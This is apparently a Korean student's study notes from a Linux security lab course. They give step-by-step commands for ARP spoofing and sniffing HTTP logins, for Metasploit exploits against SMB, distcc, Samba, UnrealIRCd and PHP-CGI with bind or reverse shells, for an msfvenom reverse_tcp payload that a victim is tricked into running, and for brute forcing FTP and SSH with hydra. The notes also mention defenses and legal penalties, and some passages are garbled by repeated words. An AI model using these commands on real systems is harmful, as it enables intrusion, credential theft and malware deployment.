본문 바로가기

전공 공부/리눅스 보안 실습

중간 정리

728x90

개인적으로 공부하면서 적은 것이므로 틀린 부분이 있을 수 있습니다.

스니핑 스푸핑을 이용한 ID/PW 탈취 시나리오

1. 용어

    A. 스푸핑(spoofing): 인터넷 프로콜콜 TCP/IP의 구조적 결함을 이용해 사용자의 시스템 권한을 획득한 뒤 정보를 빼가는 해킹 수법 '속이다', '사기 치다'라는사기치다' 라는 뜻을 가지고 있습니다. 결국 네트워크에서 게이트웨이를 속임.

    B. ARP Spoofing(스푸핑)? ARP 캐쉬에 저장되는 MAC(물리적 주소)를 속여 랜에서 통신 흐름을 왜곡시키는 해킹 수법 (DNS를 속이면 DNS 스푸핑)

    C. 파밍: DNS 스푸핑공격을 통해 웹사이트를 속여서 개인정보를 수집하는 해킹 수법

    D. Sniffing(스니핑)? - 네트워크상에서 자신의 아닌 다른 상대방들의 패킷 교환을 훔쳐보는 행위입니다.코를 킁킁거리다'라는 뜻을 가지고 있습니다.

    E. 패시브 스니핑: 허브일 경우 전기적 신호가 복제되기 때문에 단순히 스니퍼만 동작

    F. 액티브 스니핑: 스위치일 경우 해당 포트로만 전송되기 때문에 경유하도록 함

    G. ARP 테이블: IP주소와 해당 주소에 대한 MAC 주소 목록을 확인 가능

 

2. ARP 스푸핑 공격(네트워크 트래픽 도청)

    A. 공격을 위해 프리미 스큐 어스 모드로 설정을 한다. - ip주소와 mac주소가 일치하지 않더라도 모든 패킷을 수집할 수 있다.

    B. Fragrouter? 스니핑 한 패킷을 원래 주소지로 돌려준다.

    C. fragrouter -B1 옵션을 주어 기본 모드로 실행을 시킴으로써 스니핑한 패킷을 원래 주소지로 돌려줄 수 있게 세팅해준다.

    D. arpspoof -t 192.168.196.139(윈도 타깃

    E. 피해자 pcARP 패킷을 보냄으로써 게이트웨이의 맥주소를 공격할 사람의 MAC 주소로 강제로 변경시킨다.

    F. 피해자 PC는 강제로 arp 테이블 값이 변경되며, 칼리리눅스로 패킷을 보내게 된다.

    G. 칼리 리눅스는 패킷을 받으면 fragrouter로 게이트웨이로 다시 패킷을 보내준다.

    H. 피해자는 칼리 리눅스를 거쳐가지만 눈치 채지 못한다.

 

3. 스니핑(네트워크 트래픽 도청)

    A. ARP 스푸핑을 이용해 게이트웨이로 가는 경로를 내 컴퓨터를 지나갈 수 있게 속였으므로, 스니핑을 할 차례다

    B. 와이어 샤크에서 현재 사용하고 있는 네트워크 장치를 선택하여 패킷 캡처를 한다.

    C. 상대방의 컴퓨터에서 오는 네트워크 패킷을 들 스니핑 할 수 있다.

 

4. 스니핑(네트워크 트래픽 도청)을 활용한 아이디 패스워드 탈취

    A. 와이어 샤크로 스니핑을 하고 있으면, 피해자가 웹사이트를 접근할 때 HTTP 프로토콜을 사용하고 있는 것을 볼 수 있다.

    B. 웹페이지에서 로그인을 할 시 일반적으로 POST 메소드로 아이디 패스워드를 서버로 주게 되는데, 이때 URL 인코딩을 보면, 아이디 패스워드를 form에 실어 보내는 것을 확인할 수 있다.

    C. 탈취 완료..!

 

윈도 기반 운영체제 침투 시나리오

1. 처음 침투를 위해서는 침투할 서버의 네트워크에 대해 조사

    A. db_nmap -sT sV -O 192.168.196.142

    B. -sT: TCP 연결을연결을 이용한 스캔(TCP 포트)

    C. -sV: 서버 포트의 버전 표시(VERSION)  

    D. -O: OS 식별

 

2. 침투할 서버의 네트워크에 취약점 확인(samba 취약점)

    A. 445번 포트가 열려 있음을 확인. (Microsoft-ds라는라는 서비스 이름)

    B. Search smb 메타스플로잇 프레임 워크에서 smb 가 있는지 검색

    C. use auxiliary/scanner/smb/smb_login – 삼바 로그인 스캐너

    D. exploit/windows/smb/psexec - Authenticated User Code Execution 인증된 유저 PSExec 침투 취약점

 

3. 무차별 대입 공격으로 유저 아이피 패스워드 알아내기

    A. psexec 취약점을 이용하기 위해선 아이디하고 패스워드가 필요.

    B. use auxiliary/scanner/smb/smb_login

    C. set rhost 192.168.0.123 – 공격할 서버의 주소

    D. set user_file /root/users.txt – 유저 목록 파일

    E. set pass_file /root/passwords_test.txt

    F. set stop_on_success true

    G. set threads 256

    H. run

    I. 이를 이용하여 아이디 패스워드 탈취

 

4. windows 삼바를 이용한 PSExec 침투

    A. 1999-01-01년도에 발견된 마이크로소프트 윈도의인증된 유저 코드를 실행

    B. use exploit/windows/smb/psexec – 취약점 공격 중 윈도 삼바의 psexec 취약점 사용

    C. set payload windows/shell/bind_tcp – bind 쉘 방식의 페이로드(멀웨어) 셋팅

    D. set rhost 192.168.0.123 – 공격자의 아이피 세팅

    E. set smbuser administrator – 미리 알아낸 유저 아이디

    F. set smbpass testserver – 미리 알아낸 패스워드

    G. exploit – 침투

    H. 윈도우 커맨드 쉘 접근 성공!!

 

5. ms03_026_dcom 모듈을 이용한 침투(443 포트)

    A. search ms03_026_dcom 2003-07-16 26번째로 발견된 취약점입니다. 이 공격은 RPC 원격제어 모듈의 인터페이스 오버플로우 침투입니다.

    B. set payload windows/dcerpc/ms03_026_dcom

    C. set rhost 192.168.0.123 – 피해자의 아이피 세팅

    D. set lhost 192.168.0.124 – reversed 방식으로 공격할 사람

    E. set lport 443 – 피해자가 접속할 공격할 사람 아이피

    F. exploit

    G. 미터 프리터 쉘 실행!!

 

 

리눅스 기반 운영체제 침투 시나리오

1. 처음 침투를 위해서는 침투할 서버의 네트워크에 대해 조사

    A. db_nmap -sT sV -O 192.168.196.142

    B. -sT: TCP 연결을연결을 이용한 스캔(TCP 포트)

    C. -sV: 서버 포트의 버전 표시(VERSION)  

    D. -O: OS 식별

    E. 또는 whatweb(웹서버 조사 방법)

 

2. 침투할 서버의 네트워크에 취약점 확인(distcc 취약점)

    A. Distcc 서버 클라이언트 기반 분선 컴파일 도구

    B. Search distcc 메타스플로잇 프레임 워크에서 distcc 가 있는지 검색

    C. 검색결과 exploit/unix/misc/distcc_exec라는 모듈이 존재하고 있음.

 

3. exploit/unix/misc/distcc_exec 사용하기

    A. use exploit/unix/misc/distcc_exec

    B. exploit 취약점 공격 중 유닉스 계열의 misc(기타) 취약점 중에서 distcc_exec 모듈을 사용하겠다

    C. show options를 치면 해당 취약점 침투 모듈의 사용 옵션이 있음

 

4. exploit/unix/misc/distcc_exec 옵션주기

    A. set payload cmd/unix/bind_ruby 페이로드(악성코드)는 유닉스 커맨드의 bind_ruby로 설정. 루비언어 기반으로 통신 방식을 bind 방식

    B. set rhost 192.168.196.142 바인드 방식이기 때문에 피해자의 ip주소만 입력

    C. exploit

 

5. post 모듈에 있는 multi/manage/shell_to_meterpreter 사용

    A. post 모듈에 있는 multi/manage/shell_to_meterpreter로 후처리가 가능.

    B. 기존 unix 쉘 커맨드를 meterpreter로 업그레이드 가능.

    C. use multi/manage/shell_to_meterpreter 쉘을 미터 프리터로 바꾸는 모듈 사용

    D. set session 1 모듈을 사용할 세션 선택

    E. exploit 침투하기

 

6. 삼바 침투(위와 비슷함)

    A. 포트스캔으로 취약점 검색. 취약점에 대해 검색.

    B. 위와 같음. exploit/multi/samba/uisermap_script 취약점을 이용하여 bind_ruby로 쉘 커맨드 창을 사용.(필요한 옵션: 상대편 ip(rhost)

    C. multi/manage/shell_to_meterpreter 를 사용하여 미터 프리터로 변환

 

7. irc 서비스 침투(위와 비슷함)

    A. 인터넷 릴레이 챗의 실시간 채팅 프로토콜로.포트 스캔 및 취약점에 대해 검색.

    B. Exploit/uinix/irc/unreal_ircd_3281_backdoor의 취약점을 이용하여 bind_ruby로 쉘 커맨드 창을 사용.(필요한 옵션: 상대편 ip(rhost)

    C. multi/manage/shell_to_meterpreter 를 사용하여 미터 프리터로 변환

 

8. web 서비스를 이용한 침투(PHP 취약점)

    A. whatweb으로 해당 서버에 웹 정보를 수집!!!

    B. Php 버전이 낮음 => search로로 php 취약점 검색

    C. Exploit/multi/http/php_cgi_arg_injection 사용. Php cgi 전달인자 삽입 공격 bind_ruby로 쉘 커맨드 창을 사용.(필요한 옵션: 상대편 ip(rhost)

    D. multi/manage/shell_to_meterpreter 를 사용하여 미터 프리터로 변환

9. meterpreter를 활용한 정보 수집

    A. meterpreter를 사용할 수 있게 되었으니 서버에 대한 정보를 수집.

    B. run post/linux/gather/enum_network – post(후처리)에 리눅스의 enum_network 정보를 수집 p테이블 룰, 인터페이스, 무선정보, 열려있는 포트, 활성화된 네트워크 연결 정보,정보, SSH 정보를 볼 수 있음.

    C. run post/linux/gather/enum_protections – post(후처리)에 리눅스 보안 정보를 볼 수 있음. ASLR 활성화나 방화벽 활성화 등 파일 존재 여부 확인 가능

 

 

msfvenom을 이용한 악성코드 침투 시나리오(reverse TCP)

1. 해커는 공격을 위해 msfvenom을 사용하여 악성코드를 제작한다.

    A. /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.132 -f exe -o reverse_tcp_payload.exe

    B. msfvenom -p (페이로드 이름.)페이로드이름 LHOST=(공격자 ip주소)공격자ip주소 -f (파일 포맷 exe)

    C. msfvenom을 이용하여 페이로드를 제작한다. (페이로드? 멀웨어의 일부)

 

2. msfconsole을 사용해 파일을 실행시켰을 때 접속을 받는 핸들러를 실행시킨다.

    A. use exploit/multi/handler 취약점 공격 방식 중 멀티 핸들러를 사용하겠다.

    B. set payload windows/meterpreter/reverse_tcp 페이로드로는 reverse_tcp방식인 윈도 meterpreter 페이로드를 사용하겠다.

    C. set LHOST 192.168.196.132 공격자의 ip주소

    D. set ExitOnSession false 여러 세션에서 접근 가능하게 세팅

    E. exploit -j 백그라운드에서 동작할 수 있게 -j 옵션을 주고 취약점 공격 시작!

 

3. 피해자가 해커가 만든 악성코드 파일을 다운로드한 뒤 실행시키게 한다.

    A. 웹사이트를 통해 다운을 받게 한다든지, USB 등을 통해 피해자가 아무 의심 없이 실행시키게 만든다.(일종의 클라이언트처럼 동작)

 

4. 피해자가 접속을 하면 세션을 확인한 뒤 meterpreter 실행

    A. sessions -l 명령어를 이용해 접속되어 있는 세션을 확인

    B. sessions -i 번호 를 입력하여 세션으로 미터 프리터 실행

    C. 이제 원하는 미터 프리터를 이용해 정보를 탈취할 수 있음.

 

 

버퍼오버플로우 공격 시나리오

1.     버퍼오버플로우가 무엇인가??

    A. 데이터를 버퍼에 저장할 때 메모리에 지정한 곳 외에 인접 메모리에 덮어 써지는 것을 의미한다.

    B. 리틀엔디안리틀 엔디안, 빅엔디안: 컴퓨터가 주소에 저장된 데이터를 읽을 때 1byte(8bit) 단위로 읽고 쓴다.(아키텍처마다 다를 수 있음) 0~ 255까지 표현 가능. 0x00 ~ 0 xff까지까지 표현 가능.

    C. 메모리와 같은 연속된 배열에 저장을 할 때 큰 단위가 앞에 오는 빅 엔디안 방식으로 저장하는 방식(0A 0B 0C 0D 일일0A 먼저 저장), 작은 단위를 먼저 저장하는 리틀 엔디언 방식(0A 0B 0C 0D 일일0D 먼저 저장)

 

2. 버퍼오버플로우 방지 보안 기법

    A. 데이터 실행 방지 DEP(Data Execution Prevention) 기법: 실행권한이 없는 메모리 영역의 코드가 실행되지 못하도록 방지하는 기법.

    B. 주소 공간 레이아웃 무작위 ASLR(Address Space Layout Randomization) 기법:기법: 프로세스의 가상 주소가 어떤 공간에 맵핑될 때 그 위치를 프로그램 실행 시마다 랜덤 하게 변경하는 보안 기법.

    C. Strcpy 를 사용하여 문자열의 길이를 확인 안 함.를 사용했다면 안됨.

 

3. 버퍼 오버플로우 원리

    A. 버퍼 오버플로우 소스코드를 작성한 뒤 gcc – g 옵션으로 바이너리 파일에 디버깅 정보를 삽입

    B. Objdump -D를를 이용해 파일을 살펴보면 hack 함수의 주소를 볼 수 있다. 08048614

    C. Char buf [20]으로으로 20바이트까지 저장 가능.

    D. 00 fd ff df는는 프레임 포인터고. 뒤에 4바이트가 복귀 주소임.

    E. A16진수로 0x41, 10진수로 65로 표현됨. 현재 여기서는 16진수로 보여줌.

    F. 08048614 주소를 리틀 엔디안 방식으로 14 86 04 08 순으로 저장해야 함.진수이므로 \x14로 저장.

    G. 주소는 232승까지 가능(32bit). 주소 하나에 1바이트씩 저장 가능. 28

    H. 00 ~ FF는 0부터 255까지 저장 가능 256/ 즉 주소 한 개는 256까지 표현 가능

    I. 이제 함수를 호출할 때 복귀 주소로 오버플로우가 발생했으므로, hack 함수 호출이 됨.

 

 

사전 정보 수집 시나리오

1. 사전 정보 수집??

    A. 침투를 위해선 상대방의 OS에 대한 허점들을 알아야 함.

    B. 사전에 상대방의 컴퓨터를 조사함으로써 적절한 취약점을 찾고 공격을 해야 댐

 

2. auxiliary/gather

    A. gather(정보수집) 를 이용해서 정보를 수집할 수 있다.

    B. 페이로드를 필요로 하지 않음.

    C. set company_name(회사 정보)회사정보 search_email_collector(이메일 정보)

 

3. nmap

    A. 네트워크 스캐닝 도구

    B. Nmap -sT -sV -O 아이피주소아이피 주소: TCP 연결로 스캔. 포트별 서비스 버전 확인. 운영체제 확인.

 

4. Whatweb

    A. Whatweb 아이피주소로 아이피가 가지고 있는 웹서버의 버전과 정보를 확인할 수 있음.

 

5. db_nmap

    A. 데이터 베이스에 저장

    B. db_services 명령어로 목록을 볼 수 있음.

 

무차별 대입 공격 시나리오

1. 무차별 대입 공격??

    H. 암호를 풀기 위해 무작위로 대입하는 공격

 

2. 무차별 대입 공격 방어

    A. 일정 횟수 이상 잘못될 경우 계정 잠금

    B. 공격ip에 대한 LOCK 걸기

 

3. 무차별 대입 공격을 위해, crunch를 사용하여 대입할 패스워드 리스트를 만든다.

    A. crunch 1 6 -f /usr/share/crunch/charset.lst numeric -o /root/passwords_1_to_6.txt     -f 옵션은charset.lst를 사용할 수 있음. 1부터부터 6자리까지 파일을 생성함. -o 옵션으로 아웃풋으로 내보낼 경로 및 파일 이름 지정

 

4. 무차별 대입 공격 하기(서버는 대입 공격 방어가 되어 있지 않기 때문에 가능함)

    A. use auxiliary/scanner/ftp/ftp_login - 페이로드를 사용하지 않는 auxiliary의 스캐너 중 ftp로그인 스캐너를 사용함.

    B. set rhosts 192.168.196.142(공격할 대상의 ip) 취약한 서버

    C. set user_file /root/users.txt(공격할 유저 id 목록) – 미리 만들어놓은 유저 목록 파일

    D. set pass_file /root/passwords_text.txt(대입 시도할 패스워드) – 미리 만들어 놓은 패스워드 목록 파일

    E. set stop_on_success true – 성공하면 끝내기

    F. set threads 256 – 스캐닝 프로세스에 사용하는 스레드 개수 할당

 

5. 기타 무차별 대입공격

A. use auxiliary/scanner/mysql/ftp_login

B. use auxiliary/scanner/postgres/postgres_login

 

6. 히드라를 사용한 무차별 대입공격

A. hydra -l root -P /root/passwords_test.txt -f 192.168.196.142 ssh

B. 히드라 명령어로 -l로 이름을 직접 지정 -P로 대입할 패스워드 파일 지정 -f로 찾을 시 종료. 공격 서버는 아이피 주소,포트는 ssh 포트 (22)

 

7. 보안을 높이기 위해서는??

- 리눅스: UFW 방화벽,

- 공통: 항상 보안 패치, 최신 버전을 유지, 지속적으로 보안 업데이트 하기.

 

 

 

칼리 리눅스????

- 백박스(우분투백 박스(우분투), 칼리리눅스(데비안): 모의 침투 테스트 리눅스 보안 테스트를 할 수 있는 도구들이 있음.

 

 

 

7. Msfvenom, meterpreter, msfconsole, Metasploit, 페이로드란 무엇인가??

- Metasploit Project: 오픈소스, 보안 취약점 , 침퉅테스트에 대한 정보를 제공하는 보안 프로젝트

- Metasploit framework: exploit를를 쉽게 수행하기 위한 여러 취약점 공격 모듈을 가지고 있는 오픈 소스 도구

- payload: 컴퓨터 보안에서 페이로드는 멀웨어의 일부를 뜻한다. IT 보안의 관점에서 해석하자면 외계인 우주선의 취약점을 공격하고, 그 취약점을 이용하여 페이로드를 추가로 실행시켜 피해를 입히는 전략이다. 사이버 공격에서의 페이로드는 익스플로잇이 발생된 후 생성되거나 추가로 다운로드되는 악성코드 및 공격자의 의도에 따라 발생하는 추가적인 행위 또는 피해를 의미

- Metasploit: 메타스플로이트 프레임워크는 버퍼 오버플로우, 패스워드 취약점, 웹 응용 취약점, 데이터베이스, 와이파이 취약점 등에 대한 약 300개 이상의 공격 모듈을 가지고 있는 오픈 소스 도구

- Msfvenom: 메타익스플로잇 프레임워크의 악성코드 생성을 할 수 있는 명령어

- exploit: 취약점 공격 또는 익스플로잇(exploit)이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용한 공격 행위를 이르기도 한다.

- meterpreter: Metasploit Framework에 포함되어 있는 Payload 중의 하나. 내부 명령어를 가진 커맨드 라인 쉘처럼 보임. 미터프리터로 연결된 컴퓨터에 명령어 커맨드 방식으로 동작. 공격자가 명령을 내리기를 기다림. (스텔스 기능, 파일리스 기능 등이 있음)

- exploit(익스플로잇) : 보안취약점을 찾아, 악성코드를 설치하는 역할

- payload(페이로드) : 설치되는 악성코드

- encoder(인코더) : payload의 형태를 변형시키는 기법

- auxiliary(보조) 1075: payload를 필요로 하지 않는 단순한 공격 code. scanner(스캔), gather(정보수집)

- post(후처리) 330: ,추가 공격을 위해, 정보를 gather, capture 등의 기능을 수행하는 code

  

해킹이란? 타인의 컴퓨터를 해킹하게 되면 어떤 처벌을 받게 되는지…?

- 해킹(hacking) 전자 회로나 컴퓨터의 하드웨어소프트웨어네트워크웹사이트 등 각종 정보 체계가 본래의 설계자나 관리자운영자가 의도하지 않은 동작을 일으키도록 하거나 체계 내에서 주어진 권한 이상으로 정보를 열람, 복제, 변경 가능하게 하는 행위를 광범위하게 이르는 말이다.

- 다른 사람의 컴퓨터 시스템에 무단으로 침입하여 데이터와 프로그램을 없애거나 망치는 일.– 국립국어원. 표준국어대사전-

 

공격: 10년 이하의 징역 또는 1억 원 이하의 벌금.

침입: 5년 이하의 징역 또는 5천만 원 이하의 벌금.

악성코드 유포: 7년 이하년이하 징역 7천만 원 이하의 벌금.

정보 훼손: 5년 이하의년이하의 징역 또는 5천만 원 이하의 벌금.

 

모의 침투 도구란?

728x90